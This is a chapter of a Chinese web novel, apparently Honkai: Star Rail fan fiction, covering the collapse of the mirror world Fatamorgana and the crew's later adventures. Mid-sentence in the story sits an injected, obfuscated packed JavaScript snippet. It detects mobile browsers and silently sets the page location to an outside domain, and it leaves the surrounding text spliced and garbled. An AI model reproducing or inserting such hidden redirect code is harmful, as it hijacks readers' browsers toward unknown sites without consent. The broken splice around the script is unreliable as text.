“从被炸死的那时起,他就明白了一件事情,人的力量终究是有限的。”血肉之躯怎么可能在直面那种规模的近距离爆炸后还能活下来呢?他早就已经死了,只能寄存在爆炸载体上,才得以苟延残喘,“所以他不做人了,变成了镜子。” “镜子很好用,能将他的痛苦和怨恨都吞噬,让他在王位上做了两年的教主。” “镜子?”丹恒毫不犹豫地戳破了尼斯的谎言,“你这话听起来就像是把两个人的经历揉杂在一起了。” 但是他不明白,都到了这种地步尼斯为什么还要撒谎。 “……” 尼斯沉默了,眼中的迷茫不似作假,他尴尬地笑了一下,说:“啊,原来不是吗?” 他看这两份记忆那么密不可分又流畅,还以为就是出自同一个人呢,看来背后负责剪辑的人格外地耗费力气,去当教主简直就是屈才了。 哈哈,突然就明白那段莫名空白的记忆是怎么来的了。 至今还没拥有姓名的前教主:?cos睡美人中,勿扰。 三月七看了他好几眼,蹭到有初四身边悄声说:“看吧,我就说银河反诈app得普及,被人骗了到现在还不知道。” “……我听见了。”尼斯叹了口气,坦白道:“我其实也不知道我自己是谁。” 不论是作为一开始的载体埃洛克,还是喜好怨灵缠身前教主,都不是现在的尼斯。 “如果非要说明的话,我就是一个被随意组合成的物品,参杂了很多东西,埃洛克古呐斯和那个至今没有姓名的前教主。” 有初四没见过前教主,但丹恒见过,尼斯的身形和他一模一样,那双蓝眼睛属于埃洛克,而古呐斯,想必就是有初四说过的其他五官的所属者。 “而古呐斯是欺骗者。”尼斯很平静,在他看来那些记忆都像是别人的人生一样,“他欺骗了埃洛克和前教主做了个交易,那家伙觉得法塔莫日甘的臣民太过野蛮,如果教主是更好的人改善他们的生活那肯定会好很多,为此他和他所憎恶的前教主进行了交易,埃洛克会作为新的教主管理法塔莫日甘,而他在幕后提供更多正确的选择。” 那天并没有什么不一样,但埃洛克的精神莫名好了点,身体也动得不那么僵硬了,镜子中的人影也没有继续说着蛊惑他去杀了所有人的说辞,而是说出了一个地址。 埃洛克恍惚了一下,第二天他去了人影所说的那个地方,在胸腔中不知为何猛烈跳动的心跳声中,抬手敲开了一间房子的门。 门打开了,探出一张熟悉的脸,这张脸曾深刻在他的记忆中,见到他的那一刻仿佛时间还停留在他们上次见面的时候。 手上触碰到凹凸不平的切面,那不似死了几天的人一样柔软的触感,曾被他手捧着的那颗头颅,现在却活生生地站在他面前。 “你在做什么?!”反应过来的古呐斯怒吼道,看着埃洛克的眼神惊恐极了,“这和说好的不一样!” 等到反应过来的时候,手上的剑已经沾染了鲜血,埃洛克的身体晃动了一下,茫然地看着地上那具刚刚还在鲜活喊叫的尸体,他蹲下身,在古呐斯那双不甘瞪大的眼睛中看见了他自己的倒影。 埃洛克恍然,他终于明白了自己为什么会被恐惧了,一张脸被切割开,塞进另一个人的影子,这位也是熟人,他亲手杀死的前教主。 “就像是触发了什么条件一样,被埃洛克亲手杀死的古呐斯说着‘我不是来拆散你们的,我是来加入你们的’也成为了他们之中的一员,变成了字面意义上的三面颜。”尼斯双手交叉,语气平静地说着事情的真相。 “然后就是你们所看到的,埃洛克这个载体坏掉了,整个法塔莫日甘就兴起了镜子的装饰。”明明是害怕的“怪物”教主所拥有的镜子,为什么会突然大范围开始火了?很难说这其中有没有死去的那三个人的手笔。 “死了,但还没完全死,他们可以说是镜子的主体,在法塔莫日甘放置镜子的位置都能看见,镜子就是他们的眼睛,当他们意识到能完全掌握所有的时候做出了一个决定,又当上了教主。”尼斯语气平静,从一个旁观者的视角来讲述事情的真相,“他相信他能比所有人做的都要好,无论什么地方出现问题都能及时发现,他的所作所为,足以载入史册。” 那段时间的尼斯还没出现,主导意识的只有古呐斯和前教主,至于埃洛克?埃洛克在他们看来不配上桌,估计被挤压得生存空间都没有了,以至于跟死了一样。 尼斯叹气:“看得出来我现在这幅样子就知道,一开始是古呐斯占据了上风。” 几乎霸占了整张脸的古呐斯只把体型留给了前教主,他也不争不抢,而刚有意识不久的尼斯只有一双眼睛。 “古呐斯能做出和前教主交易这种事,还是在有可能威胁到自身安全的情况下,等到了没有人能和他争抢之后,他就越发肆无忌惮了。” 于是就出现了不讲道理的“不准说谎”条例,只要说谎就会被他所制造的镜兵抓起来处死,这样就不会有人说谎,不会有人用谎言欺骗,只要出现心怀恶念之人稍稍说两句就会被发现,法塔莫日甘的伤亡率就能大大的降低。 事实却是伤人事件确实没了,自杀事件却堆成山送到了古呐斯的手上,他百思不得其解,在生活和安全有保障的情况下,为什么还会有这么多人选择自杀呢? 思考了一夜,古呐斯恍然大悟,一定是这些人受不了不能说谎才选择的自杀,这些人都是社会潜在的蛀虫死了也是活该,他的国家不需要这种人。 于是法塔莫日甘就迎来了有史以来最不听人话最不讲理的教主,有人试图因此起义,但总是失败,双方力量悬殊,这是一场注定没有结果的反抗。 整个法塔莫日甘都成为了古呐斯的所有物,他肆无忌惮地执行自己的理想,试图把这个国家变成自己想要的样子,甚至迫不及待地把手伸向了旁边的国家。 尼斯回想起涅因高举起长剑,与身后的士兵一起和不死的镜兵战在一起,最终拼死逼退了所有入侵者,跪坐在战场上死去。 那一战吓到了古呐斯,他开始收敛自己扩大的野心,只求掌握住法塔莫日甘。 “但古呐斯的想法还没实现,就迎来了变数,他窥见了末日的余光。” “所有的一切都会化为灰烬,只是一点波及就能毁灭一个星球,如此可怕的力量,他会带走法塔莫日甘的一切,记忆和未来一点不剩。” 古呐斯大受打击,在慌乱过后选择感染法塔莫日甘人,镜子在人体上增殖,将他们的记忆都吞噬和他们融为一体,准备将一点点碎屑贴在一个外来人身上,随着他离去,只要有一点点的部位还在,他就能重来。 “但末日比他想象中来的还要快,感染致死需要时间,古呐斯不得不选择了最快,又最痛苦的做法。” 镜子从一开始就是炸弹的载体,如今古呐斯也能做到,挑选杂乱和负面的记忆作为消耗,引爆了遍布整个星球的镜子。 “用少数人残留的记忆换取更多人的生还,古呐斯认为这是正确的做法,他成功带领着他们躲过了这场浩劫,说实话银河可真够大的,回到法塔莫日甘的位置花了我不少时间。” 有初四注意到他的主语变了,丹恒问道:“在那段时间里,你诞生了?” “是的,我也不知道自己是怎么出现的,就好像是被埋进土里许久突然被拔出来的萝卜,非常解压有种被解放了的感觉。”尼斯叹了口气,他之所以现在能主导意识完全是因为古呐斯坚持不住了,他的执念和信念感强得吓人,自身意志力却不行,贸然收纳法塔莫日甘所有人的后果就是,被庞大的记忆冲散。 但尼斯的出现,反而让古呐斯有了点恢复的意思,甚至连那位被推翻的教主也渐渐醒过来。 而教主喜欢看他们为重建法塔莫日甘苦恼,很少主动说话,作为新上任的尼斯完全不知道该干什么,只能遵从古呐斯的想法,层层堆砌的镜子让他耗费了不少心力,才总算把那个国家拼得七七八八。 一团巨大记忆的聚合,外层被镜子包裹保证不会逸散,才成了现在的法塔莫日甘。 被揉杂的人们又被迫分割,成了一个又一个个体,但已经完全融合的物体就如蓝色与红色碰撞形成的紫色,早已不分彼此,所以才会出现一个人短时内会切换各种不同的性格这种情况。 主体由尼斯,古呐斯和前教主所掌控,白天由冷静平和的尼斯掌管,夜晚是古呐斯的思考时间,时不时的倾盆大雨是前教主的阴晴不定。 他们掌控着这个摇摇欲坠的花园,并小心翼翼地构出往昔的和平景象。 但古呐斯试图开设通道联通外界,想要将这个花园扩大从而掌控更多的人,尼斯极为反对,只是表面好看的法塔莫日甘如同泡沫,擅自将它映入其他人眼中的后果,就是被无情戳破,流出里面的腐烂和不堪。 “法塔莫日甘本就不可能长久,生存在镜子中和成为镜子的食物是两回事,记忆本来就是它需要的,他们迟早会因为自己想活下去的想法而付出惨烈的代价。” “所以走过那栋房子,其实就是离开了第一层镜子进入了第二层,它就顺势把我们在第一层的记忆吞掉了。”丹恒逐渐理解了一切。 真有规矩啊,没有偷吃诶。 “记忆承载着一切,镜子吞噬了所有,所以我们现在就是整个法塔莫日甘。”尼斯的声音里渐渐染上疲惫,每天耳边都有无数呓语,和古呐斯日复一日的争吵,来自前教主的嘲笑,他已经快分不清都来自谁了。 【咔嚓——】 “我已经承受了太多,他们也是。” 法塔莫日甘里生活的人纷纷停下,齐齐抬头望向已经开始有裂痕的天空,他们期盼他们狂喜,像是终于要冲破牢笼的鸟儿,即将回归他们应该去的地方。 尼斯笑了一声,“偶尔也会有像你们这样的硬骨头误入这里,被弄进是书里也能够消停一段时间,再找个机会丢出去就能当做无事发生了,但是你不一样——” 他直直地看向有初四,眼中闪过一丝光亮,就好像是有无数人正在注视着他:“我很好奇那本书对你做了什么,让你这么生气把我的法塔莫日甘弄得七零八落。” 毫无预兆的,天灾般的力量差点让他费心费力构建出的星球整颗瓦解,避免不明不白的就这么碎掉,他拼尽了全力才维持住了稳定。 “我?”有初四不觉得那短时间的震动能给外界带来什么实质性的伤害,可照尼斯的说法,自己差点就毁了法塔莫日甘? 倒是知道下下签不一般,可他前段时间还是个柔弱的失忆人员,这增长幅度不亚于凡人第二天飞升成神了。 “镜子做的东西能有多结实?被你那一晃半条球命都没了。” 见话题逐渐偏移,尼斯咳嗽了一下把几人的注意力转过来。 “我已经快要碎掉了。”尼斯面色平静,出现在身上的裂痕发出脆响,镜子碎屑缓缓掉落,“我们的特性是传染和吞噬,但始终留不下什么,镜子映出的法塔莫日甘从来就没有重来过,没人会记得发生了什么。” 他看向一头雾水的有初四,“但你不一样,你是特别的,吞噬记忆对你来说不管用,所以我们想拜托你一件事情。” 那张脸上似乎出现了许多人的影子,在不断变换着,有初四还看见了其中闭着眼睛的埃洛克,对他来说,什么都看不见听不见或许才是最好的吧? “请——解放我们,记住我们。” 有初四缓缓瞪大双眼,以一种奇特的眼光扫视着尼斯,随后慢吞吞地回道:“居然想在我心里占据一席之地么?太过贪心了,抱歉,那个位置只会留给和我共度一生的人!”话里蕴含的自恋让布满裂痕的尼斯都愣住了,变换停止,那张脸重新变了回来,尼斯茫然地眨了眨眼。 “都什么时候了你还贫!”三月七扯了扯他的衣袖,有初四只好委屈地收起了他还不算成功的活跃气氛的想法,问出了他最想知道的一个问题。 “你到底是谁?” 尼斯平静地看了他一眼:“我说过了,我是尼斯,古呐斯和前教主作为意识主导者的时间太久了,我一时半会也说不清楚到底是他们中有我还是我中有他们。 “不对,你明明知道了真相——” “那又能怎么样,又能改变什么?” 他曾经耀眼的深蓝色眼睛早已被夺走了光彩,变成了这幅七拼八凑的样子,而罪魁祸首偏偏和他融为一体,除去消亡再也无法分离。 “是那些灵魂,他们终其一生都在反抗,不论是活着还是死后,甚至还因为闯入了外来者而做出了通缉令试图寻求帮助,虽然我们都能把他们解决掉,但是古呐斯认为和士兵玩捉迷藏非常刺激。” 好小众的爱好,那个糟糕的人不就是已经完全把法塔莫日甘当游乐场了吗?! “所以你骗了他们。” “对,古呐斯嘲笑他们把敌人当做盟友,让数次失败的士兵们以为你们是他的帮凶。” 有初四悄悄朝三月七赞成的点点头:“你说得对,银河反诈app确实值得推广。” “都说了我听得见!” 尼斯叹了一声,“而且古呐斯想对你们下杀手,在还没真正进入书的时候把你,就是那个蓝眼睛的人干掉。” 有初四有点生气:“好没礼貌啊,‘那个蓝眼睛的’是谁?给我好好叫别人的名字啊!” 丹恒:“你的重点居然是这个吗?” 尼斯淡淡道:“一言不合就把别人家搞得乱七八糟的人没资格说我。” “要不是你扣下的人太多,我们也不会摸过来。” “我把你们当客人,你们却想一言不合毁了法塔莫日甘!我差点就莫名其妙死了!” “谁家好人对客人又是骗又是关起来的啊?!” 眼看着两人就要吵起来,三月七把有初四扯住往后拉:“哎呀算了算了。” 这种时候了还有心思吵架,你们不要太幼稚了。 尼斯也调整好情绪深吸一口气,继续为这场交易添上砝码。 “作为回报,我会给你一面没有被污染过的镜子。”尼斯非常确定地说道,“而且有人注意到你了。” 有人注意到我了,谁?有初四自己怎么不知道突然变成了值得什么存在在意的对象。 “镜子的力量和他们出自同源,你会用得上的。” “他们”又是什么意思,盯上他的不止一个吗? 有初四没说话,不用交易他也忘不掉这段旅程,所有话语都在出现的那一刻烙在了他的记忆中,想忘都忘不掉。 “他们现在都不在了,没有发言权,整个法塔莫日甘现在我是老大,所以,动手吧。” 手中武器显现,击云先他们一步敲击在四周还在苦苦支撑的镜面上。 【咔嚓——】 在这一击下,摇摇欲坠的花园终究还是没能撑住,轰然倒塌。 四周的黑暗渐渐碎裂落下,后面是望不见尽头的白,尼斯离开椅子,已经变得半透明的身体越过丹恒和三月七,缓缓在有初四面前站定,因为距离过近,对不熟悉的人更加排斥的青年不由自主地往后退了退。 尼斯:“……”你后退半步的动作是认真的吗? 他停下脚步,没有像第一次见面那样选择逼近。 清澈的蓝色眼睛中,倒映出这个人的一生。 那双眼睛是如此的熟悉,和记忆中的埃洛克一模一样,但是比起埃洛克,尼斯的眼睛里多了些轻松,少了份犹豫。 为什么古呐斯和前教主都醒着,埃洛克却从未再出现过,答案在此时不言而喻。 过去的记忆被冲刷洗净,全新出现的是尼斯,各种各样的灵魂如他亲手拼凑的法塔莫日甘一样将他重新拼好,而埃洛克早就已经不在了。 从开始的婴儿蹒跚学步,到十五岁的双亲离世,少年意气风发,亲手送走了病重的父亲,刚过二十痛失好友,将军夺政迎接第一次死亡,不甘和怨恨将他拉起,变成了镜子,端坐在高位上看着下面的人满腹猜疑,第二次死去徘徊在这个国度,控制,独裁,擅自决定法塔莫日甘的未来,在窥见末日之时毫不犹豫地夺走了他们的生命,让镜子容纳一切逃之夭夭,又狼狈地回来,心中理想的国度搭建下浮着一层又一层的泡影,最后连他自身,在三位无名客的见证下,也都将化为泡影。 但在生命的尽头,他看见的还是那张愣怔的脸。 “涅因……” 他的宿敌,他的对手,因为看见自己面目全非却落下了泪,为他惋惜。 有多久没想起这张脸了啊,因为彻底崩溃而被古呐斯压制的那天起,他再也没有好好看过外面了。 法塔莫日甘的人们愣愣地看着那片纯白的天空,老板也是其中之一,许多人沐浴在这片空白中渐渐消散,老板闭上眼,第一次露出自死后的,真实的笑容。 太好了,终于不用永无止境地工作下去了。 古呐斯,前教主和埃洛克的记忆混杂在一起,就连死亡都无法将他们分离,作为处理的人估计会因为这份红豆里面挑绿豆黑豆黄豆的工作而感到崩溃。 “希望你能遵守承诺,镜子会盯着你,蓝眼睛的。” 消失之前还要刺他一句,这种报复手段,你是小学生吗?! “初四……” 刚刚记忆里的异样就只有一个,就是那个带着面具的人,他会是尼斯口中那个盯上了他的人吗? “有初四!” “!!” 有初四猛地睁开眼睛,面前是三月七担忧的脸,“小四你醒了!好好的怎么突然就晕过去了?” “我这是?”他迷茫地从沙发上坐起来,周围是熟悉的景象,现在正在列车大厅里,可他明明记得自己还在法塔莫日甘啊。 “法塔莫日甘,那是什么?”三月七疑惑,看向智库的管理员丹恒老师。 “被虚数脉冲波及到的爱尔兰Ⅱ号上的国家之一,无人生还,怎么突然提起这个?” 有初四爬起来去看窗外,赫然是在跃迁至法塔莫日甘之前的地方,那颗布满镜子碎片的星球,早在虚数脉冲之下化为了灰烬。 想起丹恒在最开始看见法塔莫日甘时完全没提到过虚数脉冲,难道一切都是假的吗? 不可能是假的,起码三月七和丹恒都是真的,有初四更倾向于是被什么力量扭曲了认知,至于其他的,稍微验证一下就知道了。 他调出面板往下滑。 【意志】你志坚如刚 有初四松了一口气——等等! 他猛地又看过去,反复确认,意志现在的确是最高级别的,什么时候涨的那么高了? 由于状态栏是只有他能看见的,所以这一系列动作在其他人看来非常莫名其妙,等有初四抬头后,看见的就是表情复杂的列车组。 “初四,现在脑袋还会疼吗?” 别以为他听不出来,这是在怀疑他现在的神经行为是刚来的时候撞出来的后遗症! 看着面前都一脸“我很担心你”的几人,有初四把发生的一切都说明了。 三月七挠头:“还有这事?”可是姬子和杨叔就在一边看着,有初四是突然就晕倒了,他们也没有任何的记忆,“这算是灵魂出窍还是单纯的进了梦境,如果我们都在,为什么我们没有昏迷?” 姬子想了想,“倒是和匹诺康尼有些类似,初四,没有大碍吧?” 有初四大概检查了一下,身上没有少任何零件,他点头:“我没事。” “初四说他变成镜子的契机是一场爆炸,一面普通的,仅仅只是作为爆炸载体的镜子,是怎么做到控制整个星球,衍生出镜兵的?” “有人在帮他……”有初四想起了记忆里那个面具人,如果连尼斯的力量都是他给的,那他图什么? 三月七凑近看有初四的头发,一小缕黑色的发丝被拢在一起搭在身前,上面点缀着一个菱形的无框小镜子,“这就是那个尼斯说的,作为你记住法塔莫日甘的交换吗?” 镜子的表面很透亮,看起来和普通的镜子没什么区别。 有初四有点担心,“那个面具人,就是在埃洛克记忆里的那个人,是他把让埃洛克寄存在镜子里的,他为什么会注意到我?”其实光自己倒是无所谓,但基本是和同伴们一起行动,要是连累他们一起陷入危险…… “没事的,有我在。”丹恒毫不犹豫的接话,在法塔莫日甘的时候也用行动证明了他和三月七一定会抓紧有初四,列车永远不会放弃同伴。 一只手揉上了有初四的脑袋,他愣愣抬头,丹恒也看着他。 “这是迟来的夸奖。” 虽然没有关于法塔莫日甘的记忆,但是第一次下车的小无名客需要得到鼓励。 青年那双蓝眼睛看着丹恒眨了眨,然后伸出手指,试探性地拽住了他的外套。 丹恒:“?” 见他没有要走开的意思,有初四歪头,手突然变了位置,窜起来一把搂住了丹恒的腰。 丹恒:“?!” 有初四面带笑容用脸去蹭着丹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15526131|170594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 恒的:“丹恒老师!” “……都说了太近了!”温热的脸颊第一时间贴上来的时候他身体僵硬了一下,真的为同伴没有距离感而感到担忧。 被丹恒推着脸扯开的时候有初四还意犹未尽,又转向了三月七。 三月七:“!”她退后了一步,倒不是嫌弃有初四,只是这种突然热情的亲近方式她绝对不习惯! 还好有初四还知道基本的男女授受不亲,把目光转向了毛茸茸的列车长。 清洁完车厢路过的帕姆:“怎么了帕?” 有初四快速地rua了一把列车长毛茸茸的耳朵,得到了一个怒气冲冲跑走的背影。 “对了,差点忘了。”有初四突然想起了什么,从衣服下掏出了一本书。 三月七:“你这是从哪里拿出来的啊?!” “这就是那本把我们困进去的书,我之前把他本体给顺走了,没想到真的能带出来。”有初四竖起大拇指,“看着像个奇物,能当个玩具玩玩。” “……” 丹恒扶额,三月七打了个哆嗦,身体还记着不好的回忆,“事已至此,找个地方放置好吧。” 把这件困扰他们的奇物安放好之后,有初四问他们的下一站是哪里,三月七一说到这个就不困了,“是空间站!黑塔委托我们找的遗器已经到手了,得返回交付,说起来上次去空间站的时候你也没下车,到地方了我给你介绍介绍!” 她说了很多,人偶模样的黑塔女士,和天才俱乐部的成员,还有站长艾丝妲,丹恒并没有参与进去,而是回到了资料室说要更新资料。 有初四听着听着,眼皮就逐渐沉重,都没注意到旁边的声音突然停了。 在一旁慢慢翻看书籍的姬子转头:“初四?困了就去睡吧。” 迷迷糊糊的青年没听清她说了什么,只是下意识点了点头,扶着沙发站起。 其实有初四在被关在冰天雪地里的时候睡过一觉,虽然不知道有没有做梦,但明显睡的并不好,第一次运动量这么大,回来的时候脸上都带着疲惫。 “晚安。”有初四摇摇晃晃地走了,路上快要撞到墙壁的时候被瓦尔·特拉了一下,“谢谢杨叔……”他艰难地睁开一只眼,摸索到车厢门打开回了房间。 “哈——这么一说我也觉得困了,姬子杨叔,晚安!”三月七伸了个懒腰也回了房间,现在最精神的或许是正在对智库更新资料的丹恒吧。 清晨,帕姆敲响了有初四的房门,门内安静片刻后,才缓缓打开,带着一身黑气的青年出现在了列车长眼前。 “有初四乘客,这是怎么了帕?” 有初四扶着门框,反应有点慢半拍,“……啊?我没事。” 帕姆看着这位年纪轻轻的无名客黑眼圈重的吓死人,整个人看起来像老了十岁一样,是做噩梦了所以睡眠不足吗?帕姆自有办法! 列车长的小短手推着有初四的腿,催促他快点去吃早餐,他勉强打起精神后溜达到了车厢。 “早啊!小……四?”三月七迟疑地看着仿佛被阴云笼罩的有初四,怀疑自己是不是错过了什么。 有初四机械地笑了两下,“哈哈,不用在意,我没事。” 这根本没办法不在意啊! 按理说有初四一般做梦都是醒来就忘了的,但或许是昨晚的噩梦令他印象深刻,所以还稍微记得那么一点片段。 前因后果不记得了,就知道自己被一群人围攻,还好自己身上带了枪和一麻袋防狼喷雾,成功把他们都干掉了,然后根据半死不活的人给出的线索,成功解救了一批少年,看起来是人口交易,不巧的是刚做完好事他就被一群接到报案信息的警察给围了起来,一眼就看出他们来者不善的有初四思考了一下子弹和防狼喷雾的剩余,决定还是先跑了再说。 逃跑出乎意料的顺利,他对这个陌生的小镇路线也格外熟悉,通常是脑子还没反应过来,身体就已经做出选择了,他躲在屋顶上看着来来往往的警察,虽然不知道自己之前干了什么让他们大费周章的来抓他,但继续这样下去可不行,有没有什么办法呢? 期间有初四也见识了许多扭曲的事情,并且在这个地方非常的常见,他觉得这个小镇真的是无可救药了,这里的大多数人放在正常的世界都很刑啊,于是他想出镇看看。 但在左脚踏出这个小镇的一瞬间,有初四就察觉到了后面盯着的视线,和下一秒微不可察的破空声,他是想躲开的但身体完全不听使唤,想往旁边躲的动作硬生生变成往回走,他肩膀一疼,眼泪刷的一下就出来了,然后几个警察冲上来摁住他,有初四浑身无力无法反抗,晕过去的时候,他只听到了一句话。 “前面的区域以后再来探索吧!” 有初四:“……” 重新恢复意识的时候发现自己被锁在颈手枷上,周围围着一群人盯着他窃窃私语,有初四心里有种不好的预感,看着他们好像是有什么顾虑,一直不敢有所动作,但大胆的人总是有的,抱有不管会有什么后果先爽了再说这种想法的人也不少。 【+++压力】 【---自控】 【+++压力】 …… 【压力:焦虑使你无法呼吸】 【自控:你感到害怕】 面板变化的提醒以一种恐怖的速度不断在眼前跳出来,有初四心里清楚自己在这群扭曲的人面前被锁着会遭遇什么恐怖的事情,无论怎么挣扎都没办法逃离,他从没像现在这么害怕过,甚至害怕到瑟瑟发抖。 于是在有人凑过来的时候,有初四硬生生地被吓醒了,还出了一身冷汗,半夜惊醒后也再没办法安然睡去,只能盯着天花板放空大脑,直到勤劳的列车长过来敲门。 在列车大厅看见熟悉的同伴时,令人安心的氛围让有初四紧绷的那根弦猛地松了一下。 回忆到这里就结束了,勉强撑到把早餐给吃完的时候,有初四正想晃悠回房间补个觉,但还是有点精神,也不知道能不能睡得着。 这时,列车长推着小推车过来了,“有初四乘客,来试试我调的活力精神百倍饮料!” 三月七凑过来,“这是什么?怎么,绿绿的?”杯子里盛着的墨绿色液体,似乎还冒着泡……这真的能喝吗?! 她眼睁睁地看着有初四表情麻木地半睁着眼睛,看都不看就一口气喝完了帕姆的特质饮料,一滴不剩,他停顿了一下,竖起一个大拇指,然后眼睛一闭啪的一下脑袋就磕桌子上了,并发出了安详的呼吸声。 “不是活力精神百倍饮料吗,怎么感觉更想昏睡饮料?”三月七收回了蠢蠢欲动伸出去的手,并摸出了相机,而帕姆看到瞬间睡着的有初四后满意地走了。 “年轻人就是好,倒头就睡。”一旁吃完早餐的姬子笑了一下,这孩子还是第一次出现睡眠不足的情况。 丹恒打开车厢,第一眼看见的就是对着趴在桌子上的有初四拍照的三月七。 “早啊丹恒!”按下了快门键,三月七一转头就看见了走过来的丹恒,“看看小四这表情真可爱啊。” 照片上定格的青年一边脸颊压在桌面上,沉睡时难得露出了稚气,三月七捧着看了又看,决定洗出来的时候把这张照片放在最显眼的地方! 三两下吃完了早餐的丹恒站起来,又准备缩进智库忙事,“我送他回去吧。”有初四这种睡姿不怎么舒服,还是得回房间睡。 青年的身体重量很轻,可就搭在肩膀上的手臂肌肉来看,虽然不属于健壮但也绝不瘦弱,是一种平衡的普通程度,为什么会那么轻呢。 这时,耳侧传来了含糊的嘟囔声,丹恒没听清,打开房门的时候因为姿势的原因更挨近了点,恰好听到了有初四又在说话,而丹恒这次听清了。 “都给我死……”说着脸上还露出一个笑容。 丹恒:……这是梦到了什么啊。 而续上了梦境的有初四双手用力,禁锢住他的颈手枷应声而碎,凑过来的人呆滞地看着面前缓缓升起的巨大黑影。 结实的肌肉,膨胀的身体,站直后能有两人高的有初四缓缓呼出一口气:“我感觉身体里充满了力量。” 这是多么新奇的感受啊!一直以来以敏捷和速度为优点,力量略显不足的他有朝一日居然能体会到一手能捏爆三个人头的力气。 “这,这是什么东西啊!怎么会突然变成这样,是变异了吗?!”恐慌的声音吵吵嚷嚷,人群开始四散奔逃,有几个胆大包天想玩高大肌肉猛男play的家伙也被人流裹挟着远离了,从模糊到逐渐清晰的警笛声示意警察正在朝这里赶来。 有初四的头还是正常大小,和如今这幅身体相配给人的眼球一股巨大的冲击力,他动了动青筋跳起的手臂,缓缓开口:“不是变异,是更大,更好,更强的有初四!” 【---压力】 醒来的时候看时间已经是下午了,有初四舒爽地伸了个懒腰,觉得自己这一觉睡的好极了,喝了帕姆的特制饮料自己充满了力量,甚至感觉在梦里大杀特杀! 用过早餐后,有初四坐在沙发上,好心情肉眼可见,在下一个地点到达时,三月七也朝他伸出了手。 满满的邀请意味让有初四的脸色从红润瞬间转变成惨白,他抓着沙发上的抱枕尖叫起来。 “我不要下车!!” 梦中的挫折给了有初四极大的阴影,现在一提到下车就会联想到黑压压的人群围着他,而他动弹不得的场景,一群陌生人步步逼近,难闻的气味缭绕在鼻尖,告知他接下来会遭遇什么,就算是后来帕姆特制的饮料让他挣脱了并把小镇弄得一团糟,这份阴影也没有削弱多少。 有初四现在极度的,恐惧见到陌生人。 但在梦中被迫接触得多了,不愿意下车的有初四从抗拒陌生人的靠近逐渐往另一种方向转变,列车组并不知晓是什么方向,在有初四看起来恢复正常后和丹恒三月七一起下车,遇到了明显不怀好意想要靠近有初四的人后,事情突然明朗。 “啪——嘭!”被打飞出去的人影狠狠摔落在地面上发出让人牙疼的碰撞声,丹恒扶着还在发抖的有初四,突然理解了一切。 有初四这是从恐惧转变成了主动出击,只要在别人靠近他之前把人打飞就好了! 梦中被胖揍几顿的居民竖起中指,深藏功与名。 而经过时间的推移,有初四的情况越发稳定,至少能控制住自己了,就是这一路上的开拓之路,不少倒霉蛋还没碰到人就先飞出去了,久而久之三月七和丹恒也养成了挡在他前面的习惯。 一次补觉结束后有初四回到了列车大厅,除了依旧泡在资料室的丹恒人都在,三月七朝他挥挥手。 “小四!你来的正好,快要跃迁了!”有初四在沙发上坐下,旁边的三月七期待地说:“希望这次旅程会一帆风顺!” 每次下车总会出点事情,三月七还吐槽过我们是不是什么吸引事件的体质,有初四深有同感,每次都是登陆——交流——通缉这个流程,现在列车小队都已经熟练得让人心疼了。 “喂喂——,请大家回座位坐好,跃迁即将开始!” 列车广播响起帕姆的声音,有初四看向已经站在大厅中央的三月七,“三月还是打算挑战一下自己吗?” “当然,我这次一定能站稳的!” “你上次也是这么说的。” 看着嘀咕着自己不会摔倒的少女,有初四歪头想了一下,“既然背对和面对都不行,要试试侧着吗?” 三月七眼睛一亮:“好主意!” “5——4——3——2——1!” 最后三月七还是摔倒了,但是爬起来的时候完全不见气馁,反而更加跃跃欲试了。 “这次侧着就能稳定很多了,下次我一定不会摔倒!” 帕姆默默看着提出这个建议的有初四,有初四转头去看即将下车的目的地,觉得这个星空真星空啊。 13.这就不得不提到一个四字游戏 事实证明一帆风顺是不可能的,他们返回空间站的时候遭遇了反物质军团,一堆并不难缠但数量不少的家伙在流窜。 “我这还是第一次和他们战斗。”木签丟出去的力道异常的大,直接把一个球形怪物砸翻了过去,在一个掠夺者悄声绕后举起手刃的时候,有初四回头,毫不犹豫地一头创了上去,与此同时到来的还有一柄枪和一支冰箭。 遭受了三人同时攻击的怪物痛不欲生地死去了。 “小四,你什么时候……”三月七欲言又止地看着有初四拍去头顶的灰尘,刚刚那一撞直接把掠夺者的头给撞碎了,不愧是能把列车撞出洞的头!不过,“什么时候学的这招啊!”看起来非常的熟练,没有一丝一毫的迟疑和生涩! “啊。”有初四愣了一下,“我也不知道,好像是,身体擅自就动起来了。” “……丹恒,小四不是第一次出现过身体比脑子快的行为了,你觉得他刚开始撞了列车的伤,有后遗症的可能性是多少?” “不清楚,但绝对不为零,我以为失忆已经是明显的后遗症了?” “说不定那是在撞之前失的忆呢?” 有初四无法反驳,受伤的当事人没有发言权,至少他反应会时不时突然迟钝一下的确是事实。 丹恒的通讯突然响了一声,他掏出手机查看,“我们接到了委托,有部分科员被困在收容舱段那边,我们要去到主控舱段和艾丝妲站长商议救援的事。” 三月七自信叉腰:“正义的列车组,使命必达!” 旁边的有初四也叉腰:“正义终将战胜邪恶!” 丹恒默默地看了三月七一眼,好像知道了到底是谁教的了。 “真是的,每次丹恒老师都不保持队形,明明这很帅气的诶。” “并不觉得,听起来很中二。” 路上遇到的反物质军团并不强力,都是些小怪,三月七甩了甩手,弓箭变成光点消散在空气中,“还好最危险的绝灭大君不在附近,只有这群散兵游勇。” 去到主控舱段的路上还算是顺利,这座空间站的站长艾丝妲是一位有着粉色头发的少女,颜色比三月七的头发要深,而且…… “艾丝妲站长,怎么了吗?我看你一直盯着初四。” “啊,啊!没事没事!”艾丝妲摇头,眼神还是忍不住往有初四那边瞟,“就是觉得,这位先生有点眼熟,好像在哪里见过。” “可是小四从醒来开始就没下过车啊……”三月七疑惑,唯一一次算是下车是在法塔莫日甘,还是说是在小四来到列车之前认识的?那他的过去岂不是有机会知道了! 虽然是件值得在意的事情,但现在不是询问的好时机,三人准备出发去收容舱段。 “等等,请把这个拿着吧!”一张卡片被塞到了三月七手里,艾丝妲就转身继续指挥科员们操作。 三人看着少女不间断地发出指令,“是真的很紧急啊……” 